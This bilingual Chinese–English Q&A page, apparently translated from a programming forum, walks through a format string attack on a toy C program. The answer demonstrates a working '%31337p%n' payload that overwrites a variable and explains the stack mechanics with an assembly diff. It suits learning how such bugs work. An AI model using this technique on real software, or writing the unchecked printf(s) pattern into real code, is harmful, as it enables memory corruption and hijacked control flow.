在printf中格式化字符串攻击 [英] Format string attack in printf

查看:227
本文介绍了在printf中格式化字符串攻击的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

#include <stdio.h>
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}

目标是执行格式字符串攻击-通过输入字符串执行func().我尝试使用%n覆盖变量,但得出的结论是,如果不首先显示b变量,这是不可能的,而且我也不知道该怎么做.任何提示将不胜感激.对不起,我的英语不好.

The aim is to execute a format string attack - to execute func() by inputting a string. I tried to use %n to overwrite the variable but I came to conclusion is that it is impossible without displaying b variable first and I have no idea how. Any hint would be appreciated. Sorry for my bad english.

推荐答案

让我们尝试是否打印:

$ cat > f.c << \EOF
#include <stdio.h>
void func() {
    fprintf(stderr, "func\n");
}

int main()
{
    char s[200];
    int a=123;
    int b=&a;
    #ifdef FIXER
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
    #endif
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}
EOF

$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686

$ gcc -S  f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER  f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work


$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func

$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault

如问题中所述,我们清楚地看到,如果不先打印b,它将失败.

As stated in the question, we clearly see that without printing b first it fails.

让我们比较一下内部的顿悟:

Let's compare what is hapenning inside:

$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
    .size   func, .-func
    .section    .rodata
 .LC1:
-   .string "%p\n"
-.LC2:
    .string "%50s"
    .text
    .globl  main
@@ -48,15 +46,9 @@
    movl    $123, 16(%esp)
    leal    16(%esp), %eax
    movl    %eax, 220(%esp)
-   movl    stderr, %eax
-   movl    220(%esp), %edx    /* !!! */
-   movl    %edx, 8(%esp)      /* !!! */
-   movl    $.LC1, 4(%esp)
-   movl    %eax, (%esp)
-   call    fprintf
    leal    20(%esp), %eax
    movl    %eax, 4(%esp)
-   movl    $.LC2, (%esp)
+   movl    $.LC1, (%esp)
    call    __isoc99_scanf
    leal    20(%esp), %eax
    movl    %eax, (%esp)

在标记的行上,我们看到将b的值放入%edx,然后将其作为第3个参数放入堆栈中."

On marked lines we see "get value of b into %edx, then put it as 3'rd argument in stack."

由于printf和scanf使用cdecl调用约定,因此在调用之间堆栈几乎保持不变,因此第三个参数仍然可供易受攻击的printf设置.

As printf and scanf use cdecl call convention, the stack remains more or less the same across invocations, so that third argument remains available for the vulnerable printf for setting.

当我们不打印b时,它不会进入堆栈以方便我们的注入格式字符串使用.

When we don't print b, it does not get into stack to be easily available for our injected format string.

只要有足够的%p%p%p%p%p%p...,我们仍然应该能够达到实际的ab,但是50个输入字符的限制正在逐渐消失.

With enough %p%p%p%p%p%p... we should be able to reach our actual a or b anyway, but the limitation of 50 input characters is getting in our way.

这篇关于在printf中格式化字符串攻击的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆